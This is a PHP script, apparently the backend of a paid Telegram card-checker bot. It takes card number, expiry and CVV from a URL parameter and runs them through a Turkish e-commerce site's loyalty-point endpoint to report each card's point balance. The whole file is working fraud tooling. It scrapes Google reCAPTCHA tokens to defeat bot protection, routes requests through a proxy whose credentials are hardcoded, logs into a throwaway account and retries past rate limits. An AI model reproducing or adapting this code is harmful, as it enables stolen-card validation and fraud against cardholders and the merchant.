<?php

// Çıktı formatını düz metin olarak ayarla
header('Content-Type: text/plain; charset=utf-8');

$timestamp_start = microtime(true);

// Database connection
function getDBConnection() {
    $host = 'localhost';
    $dbname = 'checkerbotdb3';
    $username = 'root';
    $password = '';
    
    try {
        $pdo = new PDO("mysql:host=$host;dbname=$dbname;charset=utf8mb4", $username, $password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        return $pdo;
    } catch(PDOException $e) {
        die("❌ Database connection failed");
    }
}

// Get current limit
function getCurrentLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("SELECT puanlimit FROM users WHERE chatid = ?");
    $stmt->execute([$chatid]);
    $result = $stmt->fetch(PDO::FETCH_ASSOC);
    return $result ? intval($result['puanlimit']) : 0;
}

// Decrement limit
function decrementLimit($pdo, $chatid) {
    $stmt = $pdo->prepare("UPDATE users SET puanlimit = GREATEST(puanlimit - 1, 0) WHERE chatid = ?");
    $stmt->execute([$chatid]);
}

if (!isset($_GET["card"]) || !isset($_GET["chatid"])) {
    die("❌ Kullanım: puanapi1.php?card=CARD|MM|YY|CVV&chatid=123456");
}

$chatid = $_GET['chatid'];

// Database connection ve limit kontrolü
$pdo = getDBConnection();
$current_limit = getCurrentLimit($pdo, $chatid);

if ($current_limit <= 0) {
    die("❌ Limit Exhausted | 𝐏𝐔𝐀𝐍𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot");
}

// Limit'i azalt
decrementLimit($pdo, $chatid);
$remaining_limit = $current_limit - 1;

$lista = $_GET["card"];
$cc_details = explode("|", $lista);

if (count($cc_details) !== 4) {
    die("Hata: Geçersiz kart formatı. Doğru format: 4444555566667777|12|28|123");
}

list($c, $m, $y, $cv) = array_map("trim", $cc_details);

if (strlen($y) === 4) $y = substr($y, -2);
if (strlen($m) === 1) $m = "0".$m;

// BIN bilgisi al (ilk 6 hane)
$bin = substr($c, 0, 6);

// Proxy ayarları
$proxy = "rp.scrapegw.com:6060";
$proxyAuth = "ccb7t99f1xa6q6v-country-tr:e88zmabjie6wuek";

// ========================================
// STEP 1: reCAPTCHA v2 Invisible Token Al
// ========================================

function get_recaptcha_token() {
    // Step 1: Anchor request
    $anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdQhRwmAAAAAC6YTq1vhrP321R9uUuRNMPLIhbT&co=aHR0cHM6Ly93d3cuaWRlZml4LmNvbTo0NDM.&hl=tr&v=EGO3I7Q26cZ-jBw3BEtzIx7-&size=invisible&cb=io5exjbk71xn";
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $anchor_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
            "Pragma: no-cache",
            "Accept: */*"
        ],
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if (!$response) return null;
    
    // Parse token
    preg_match('/<input type="hidden" id="recaptcha-token" value="([^"]+)"/', $response, $matches);
    if (!isset($matches[1])) return null;
    
    $tk = $matches[1];
    
    // Step 2: Reload request
    $reload_url = "https://www.google.com/recaptcha/api2/reload?k=6LdQhRwmAAAAAC6YTq1vhrP321R9uUuRNMPLIhbT";
    
    $payload = "c=" . urlencode($tk) . "&reason=q&k=6LdQhRwmAAAAAC6YTq1vhrP321R9uUuRNMPLIhbT";
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $reload_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $payload,
        CURLOPT_HTTPHEADER => [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
            "Pragma: no-cache",
            "Accept: */*",
            "Content-Type: application/x-www-form-urlencoded"
        ],
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if (!$response) return null;
    
    // Parse final token
    preg_match('/\["rresp","([^"]+)"/', $response, $matches);
    if (!isset($matches[1])) return null;
    
    return $matches[1];
}

$recaptcha_token = get_recaptcha_token();
if (!$recaptcha_token) {
    die("❌ERROR❌\nreCAPTCHA token alınamadı!");
}

// ========================================
// STEP 2: Idefix Login (with retry)
// ========================================

$login_url = "https://ecomapi.idefix.com/api/customer/login";
$max_retries = 3;
$login_success = false;
$access_token = null;
$refresh_token = null;

for ($retry = 0; $retry < $max_retries; $retry++) {
    // Her retry'da yeni reCAPTCHA token al
    if ($retry > 0) {
        $recaptcha_token = get_recaptcha_token();
        if (!$recaptcha_token) {
            continue;
        }
        usleep(500000); // 0.5 saniye bekle
    }
    
    $login_payload = json_encode([
        "mail" => "sloth42402@pixoledge.net",
        "password" => "sloth42402",
        "gResponse" => $recaptcha_token
    ]);

    $ch_login = curl_init();
    curl_setopt_array($ch_login, [
        CURLOPT_URL => $login_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $login_payload,
        CURLOPT_ENCODING => "", // gzip/deflate/br otomatik decode
        CURLOPT_PROXY => $proxy,
        CURLOPT_PROXYUSERPWD => $proxyAuth,
        CURLOPT_PROXYTYPE => CURLPROXY_HTTP,
        CURLOPT_HTTPHEADER => [
            "Host: ecomapi.idefix.com",
            "X-Platform: web",
            "Sec-Ch-Ua-Platform: \"Windows\"",
            "Cache-Control: no-cache",
            "Accept-Language: tr-TR,tr;q=0.9",
            "Sec-Ch-Ua: \"Not_A Brand\";v=\"99\", \"Chromium\";v=\"142\"",
            "Sec-Ch-Ua-Mobile: ?0",
            "Access-Control-Allow-Origin: *",
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
            "Accept: application/json, text/plain, */*",
            "Content-Type: application/json",
            "Origin: https://www.idefix.com",
            "Sec-Fetch-Site: same-site",
            "Sec-Fetch-Mode: cors",
            "Sec-Fetch-Dest: empty",
            "Referer: https://www.idefix.com/",
            "Accept-Encoding: gzip, deflate, br",
            "Priority: u=1, i"
        ],
        CURLOPT_TIMEOUT => 15
    ]);

    $login_response = curl_exec($ch_login);
    curl_close($ch_login);

    if (!$login_response) {
        continue;
    }

    $login_data = json_decode($login_response, true);

    // Hata kontrolü
    if (isset($login_data['errorCode']) || strpos($login_response, '"code":403') !== false) {
        continue;
    }
    
    // Token'ları parse et
    preg_match('/"token":"([^"]+)"/', $login_response, $token_match);
    preg_match('/"refreshToken":"([^"]+)"/', $login_response, $refresh_match);

    if (isset($token_match[1]) && isset($refresh_match[1])) {
        $access_token = $token_match[1];
        $refresh_token = $refresh_match[1];
        $login_success = true;
        break;
    }
}

if (!$login_success) {
    $elapsed = number_format(microtime(true) - $timestamp_start, 1);
    die("❌ Login Error | {$lista} ({$elapsed}s) Limit:{$remaining_limit} PUAN1 CHECK BY @aerithiacheck3r_bot");
}

// ========================================
// STEP 3: Puan Check (with retry for 429)
// ========================================

$point_url = "https://ecomapi.idefix.com/api/payment/card/loyalty-point-check";
$point_payload = json_encode([
    "cardType" => "creditCard",
    "creditCard" => [
        "cardHolderName" => "kayra kerem",
        "cardNumber" => $c,
        "cardMonth" => $m,
        "cardYear" => $y,
        "cvv" => $cv
    ],
    "storedCardToken" => "",
    "voucherId" => 0,
    "couponId" => 0,
    "vendorCouponId" => 0,
    "installmentId" => 2599
]);

$max_point_retries = 3;
$point_response = null;

for ($p_retry = 0; $p_retry < $max_point_retries; $p_retry++) {
    if ($p_retry > 0) {
        usleep(1000000); // 1 saniye bekle
    }
    
    $point_ch = curl_init();
    curl_setopt_array($point_ch, [
        CURLOPT_URL => $point_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $point_payload,
        CURLOPT_ENCODING => "", // gzip/deflate/br otomatik decode
        CURLOPT_PROXY => $proxy,
        CURLOPT_PROXYUSERPWD => $proxyAuth,
        CURLOPT_PROXYTYPE => CURLPROXY_HTTP,
        CURLOPT_HTTPHEADER => [
            "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
            "Pragma: no-cache",
            "Accept: */*",
            "Referer: https://www.idefix.com/",
            "Sec-Ch-Ua: \"Chromium\";v=\"134\", \"Not:A-Brand\";v=\"24\"",
            "Sec-Ch-Ua-Mobile: ?0",
            "Sec-Ch-Ua-Platform: \"Windows\"",
            "Sec-Fetch-Dest: empty",
            "Sec-Fetch-Mode: cors",
            "Sec-Fetch-Site: same-site",
            "Sessionid: " . $refresh_token,
            "Token: " . $access_token,
            "X-Platform: web",
            "Content-Type: application/json"
        ],
        CURLOPT_TIMEOUT => 15
    ]);
    
    $point_response = curl_exec($point_ch);
    curl_close($point_ch);
    
    // 429 hatası kontrolü
    if ($point_response && strpos($point_response, '429') === false && strpos($point_response, 'TMD BLOCK') === false) {
        break; // Başarılı, döngüden çık
    }
}

if (!$point_response || strpos($point_response, '429') !== false || strpos($point_response, 'TMD BLOCK') !== false) {
    $elapsed = number_format(microtime(true) - $timestamp_start, 1);
    echo "❌ 0₺ | {$lista} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
    exit;
}

// Response analizi
$point_data = json_decode($point_response, true);
$status = isset($point_data['status']) ? $point_data['status'] : '';
$amount = isset($point_data['loyaltyPointAmount']) ? (string)$point_data['loyaltyPointAmount'] : '0';

$isApproved = ($status === 'Success' && (float)$amount > 0);

// Çıktıyı formatla
$elapsed = number_format(microtime(true) - $timestamp_start, 1);

// Ana çıktı
if ($isApproved) {
    echo "✅ {$amount}₺ | {$lista} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    echo "❌ 0₺ | {$lista} ({$elapsed}s) Limit:{$remaining_limit} 𝐏𝐔𝐀𝐍𝟏 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}
?>
